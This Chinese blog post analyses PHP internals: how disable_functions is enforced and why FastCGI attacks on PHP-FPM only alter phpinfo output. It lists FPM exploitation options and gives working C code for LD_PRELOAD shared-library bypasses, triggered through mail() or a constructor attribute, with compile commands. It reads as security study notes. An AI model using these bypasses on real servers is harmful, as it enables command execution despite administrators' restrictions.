php内核分析-fpm和df的问题思考
这篇文章灵感是来自看了一篇文章《PHP内核分析-FPM和disable-function安全问题》然后其中学习到了很多东西。该篇文章已经非常详细了,所以自己就简单的记录一下自己的思考,如文中有错误希望师傅们指出。
介绍
php中的disable_function是EG(ini_directives)来获得的,而phpinfo根据 EG(ini_directives) 中获取信息并打印。
然后通过zend_disable_function()函数去禁止,简单的说就是通过 func->handler = ZEND_FN(display_disabled_function); 修改了handler。
而phpinfo⼀直是查看服务器php信息的可靠⽅式,但是在包含修改 disable_function的参数攻击FPM后,phpinfo已经显示修改,但是测试函数仍然禁⽤。在fpm攻击的配置中 EG(ini_directives) 找到表示 disable_functions 的 ini_entry ,然后修改值为我们传⼊的内容,⽽phpinfo展示的值就源于这⾥。
还会将要禁⽤的函数字符串传⼊fpm_php_disable 函数,再调⽤ zend_disable_function 函数修改 func->handler完成禁⽤。
所以说,包含 PHP_VALUE == disable_function= 的恶意FastCgi攻击FPM时,只能修改展示phpinfo信息
的 EG(ini_directives) ,也就是表⾯修改,对于已经禁⽤的函数⽆效的,但是可以通过FPM禁⽤新的函数。
总结
disable_function 的本质是修改 func->handler 完成对函数的禁⽤。
包含 PHP_VALUE ==disable_function= 的恶意FastCgi攻击FPM时,只能修改展示phpinfo信息的 EG(ini_directives) ,也就是表⾯修改,对于已经禁⽤的函数⽆效的,但是可以通过FPM禁⽤新的函数。
攻击FPM⽐较常⻅的有效利⽤选项是 extension_dir +extension 、 open_basedir 、 allow_url_include = On + auto_prepend_file =php://input 。
思考
那么我看网上有一下介绍是通过fpm来绕过disable_function。那么是怎么实现??底层到底是什么?
这里给出自己的答案,之所以说fpm能绕过df是因为通过配置 PHP_VALUE ==extension_dir +extension,然后我们上传我们的so来加载执行。那为什么说加载so就可以绕过???
是因为df是在模块初始化阶段的最后一步 加载so是在这个之前 可能是因为这个导致的rce(图片是来自上述文章)
下面是清楚点的。
LD_PRELOAD与putenv的配合使用,即LD_PRELOAD这个环境变量指定路径的文件(也是so文件),会在其他文件被调用前,最先被调用而putenv可以设置环境变量。
而一叶飘零师傅文章中介绍了某一个php函数,我认为是在执行的过程中能fork子进程的函数(启动外部程序的函数并能执行)然后我们hook该fork子进程,进行重写,完成rce。
例如:mail(‘’,’’,’’,’’);
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {system("ls / > /tmp/sky");
}
int geteuid()
{if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();
}
//编译成so文件
//gcc -c -fPIC hack.c -o hack.so
还有imap_mail()、mb_send_mail()和error_log()函数等
然后还有一个进化版本
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");system("ls");
}
其中__attribute__ ((constructor))有如下说明
1.It’s run when a shared library is loaded, typically during program startup.
2.That’s how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.
1.它在加载共享库时运行,通常在程序启动时运行。//putenv(“LD_PRELOAD=hack.so”);
2.所有GCC属性都是这样的;可能是为了将它们与函数调用区分开来。
3.析构函数在卸载共享库时运行,通常在程序退出时运行。
所以我们就不需要找一个函数去触发了。
【不学的不要点】
php内核分析-fpm和df的问题思考相关推荐
- Linux内核分析——可执行程序的装载
链接的过程 首先运行C预处理器cpp,将C的源程序(a.c)翻译成ASCII码的中间文件(a.i) 接着C编译器ccl,将a.i翻译成ASCII汇编语言文件a.s 接着运行汇编器as,将a.s翻译成可 ...
- linux 0.01内核分析与操作系统设计 pdf,《Linux 0.01内核分析与操作系统设计——创造你自己的操作系统》...
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 readme 本光盘为<Linux 0.0.1内核分析与操作系统设计--创造你自己的操作系统>一书的配套光盘,读者可自由取其源文件做学习,研究 ...
- linux1.0内核下载,《Linux 0.01 内核分析与操作系统设计》(Linxu 0.01Source)
中文名: Linux_0_01_内核分析与操作系统设计 英文名: Linxu 0.01Source 发行时间: 2003年 地区: 大陆 对白语言: 普通话 简介: 清华 卢军<Linux0.0 ...
- LINUX内核分析第二周学习总结——操作系统是如何工作的
LINUX内核分析第二周学习总结--操作系统是如何工作的 张忻(原创作品转载请注明出处) <Linux内核分析>MOOC课程http://mooc.study.163.com/course ...
- 《Linux内核分析》实验一
陈智威,<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 课堂学习笔记: 作业截图: 汇编代码堆栈分析: ...
- Linux 内核分析 之一:How Computer Works 实验
说明 欧长坤 原创作品转载请注明出处 <Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 这学期学校恰好有操 ...
- Linux0.1源码分析,《Linux 0.01内核分析与操作系统设计——创造你自己的操作系统》...
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 readme 本光盘为<Linux 0.0.1内核分析与操作系统设计--创造你自己的操作系统>一书的配套光盘,读者可自由取其源文件做学习,研究 ...
- linux内核分析 网络九,“Linux内核分析”实验报告(九)
一 Linux内核分析博客简介及其索引 本次实验简单的分析了计算机如何进行工作,并通过简单的汇编实例进行解释分析 在本次实验中 通过听老师的视频分析,和自己的学习,初步了解了进程切换的原理.操作系统通 ...
- Linux内核分析作业第二周
操作系统是如何工作的 <Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 一.函数调用堆栈 1.计算机工作三 ...
最新文章
- 全球及中国新式茶饮行业销售价值与经营布局渠道研究报告2022版
- matlab根据结构体数组,用邻接矩阵和序遍历创建树形结构:
- SQL Server中的SQL语句优化与效率问题
- MySQL 数据库修改登录密码
- Django创建mysql数据库常用字段及参数
- pandas dataframe 使用多进程apply(原生、pandarallel多进程、swifter多进程)
- cassandra学习笔记四
- 可视化Python编译软件:GUI2Exe
- ES中使用nested类型的内嵌对象
- 数据结构和算法——线性结构(1)数组、栈、队列和单链表
- Linux小工具bc使用
- 源支付源码客户端+云端+监控+协议三网免挂免输入(全套版)
- php 路由器设置密码,登陆192.168.1.1路由器如何设置密码
- 压缩包文件的解压密码如何破解
- Hadoop 1.x 和 Hadoop 2.x 有什么区别?
- 浪潮存储服务器VAAI
- [1108]小米5S TWRP刷面具、EdXposed
- FFmpeg 快速上手:命令行详解、工具、教程、电子书
- laravel5.6 提示The page has expired due to inactivity. Please refresh and try again.的解决方法
- WPS如何转换成图片?三种方法帮你实现
热门文章
- DL之模型调参:深度学习算法模型优化参数之对LSTM算法进行超参数调优
- DL之CNN:利用CNN(keras, CTC loss, {image_ocr})算法实现OCR光学字符识别
- 成功解决ImportError: cannot import name 'pywrap_tensorflow'
- Py之pygame:有趣好玩—利用pygame库实现鱼儿自动实时目标跟踪(附完整代码)
- 朴素贝叶斯法分类器的Python3 实现
- linux命令:ftp
- 如何用互联网上的广告来赚取广告费——有点吹牛吗?
- csu 1019 Simple Line Editor
- 应用程序“DEFAULT WEB SITE/ICLOCK”中的服务器错误
- sql server中的decimal或者numeric的精度问题 (转载)